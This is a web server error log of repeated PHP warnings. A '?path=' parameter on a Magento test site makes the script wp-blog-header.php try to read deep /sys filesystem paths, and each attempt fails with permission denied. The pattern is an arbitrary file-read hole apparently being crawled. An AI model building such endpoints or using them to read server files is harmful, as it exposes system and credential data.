[Thu Mar 26 15:07:16.762686 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/drivers/ac
[Thu Mar 26 15:07:25.654396 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:aa
[Thu Mar 26 15:07:30.002323 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:ae
[Thu Mar 26 15:07:32.614547 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:aa
[Thu Mar 26 15:07:33.138101 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:dc
[Thu Mar 26 15:07:35.722621 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/drivers/nfit/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/drivers/nfit
[Thu Mar 26 15:07:36.329475 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/drivers/ec
[Thu Mar 26 15:07:41.724269 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/drivers/ac
[Thu Mar 26 15:07:42.768037 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:ee
[Thu Mar 26 15:07:44.874715 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/drivers/ac
[Thu Mar 26 15:07:48.431222 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/device:cc
[Thu Mar 26 15:07:49.503954 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:ce
[Thu Mar 26 15:07:50.649289 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:fe
[Thu Mar 26 15:07:51.694050 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem
[Thu Mar 26 15:07:52.681896 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem
[Thu Mar 26 15:07:53.779164 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:ae
[Thu Mar 26 15:07:56.490443 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:ce
[Thu Mar 26 15:07:58.703652 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem
[Thu Mar 26 15:08:01.578162 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:ae
[Thu Mar 26 15:08:03.145046 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:ec
[Thu Mar 26 15:08:04.714978 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/drivers/ec
[Thu Mar 26 15:08:06.448113 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:ca
[Thu Mar 26 15:08:08.043991 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:ee
[Thu Mar 26 15:08:11.168374 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:ee
[Thu Mar 26 15:08:13.855653 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:ec
[Thu Mar 26 15:08:14.386058 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/drivers/ec
[Thu Mar 26 15:08:14.926153 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:fc
[Thu Mar 26 15:08:15.986434 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/device:fc
[Thu Mar 26 15:08:16.552571 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem
[Thu Mar 26 15:08:17.031339 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:be
[Thu Mar 26 15:08:20.219315 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/devices/device:dc
[Thu Mar 26 15:08:21.931897 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/drivers/ac
[Thu Mar 26 15:08:24.000242 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/drivers/ec
[Thu Mar 26 15:08:24.602708 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:da
[Thu Mar 26 15:08:25.063595 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:ac
[Thu Mar 26 15:08:25.550296 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:ee
[Thu Mar 26 15:08:26.085966 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/drivers/ac
[Thu Mar 26 15:08:27.160488 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:fe
[Thu Mar 26 15:08:28.275564 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 15:08:32.507278 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem
[Thu Mar 26 15:08:32.909597 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:ec
[Thu Mar 26 15:08:34.456201 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:ac
[Thu Mar 26 15:08:35.590329 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:fa
[Thu Mar 26 15:08:38.806475 2026] [php:warn] [pid 3216441] [client 74.7.241.26:34802] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:fc
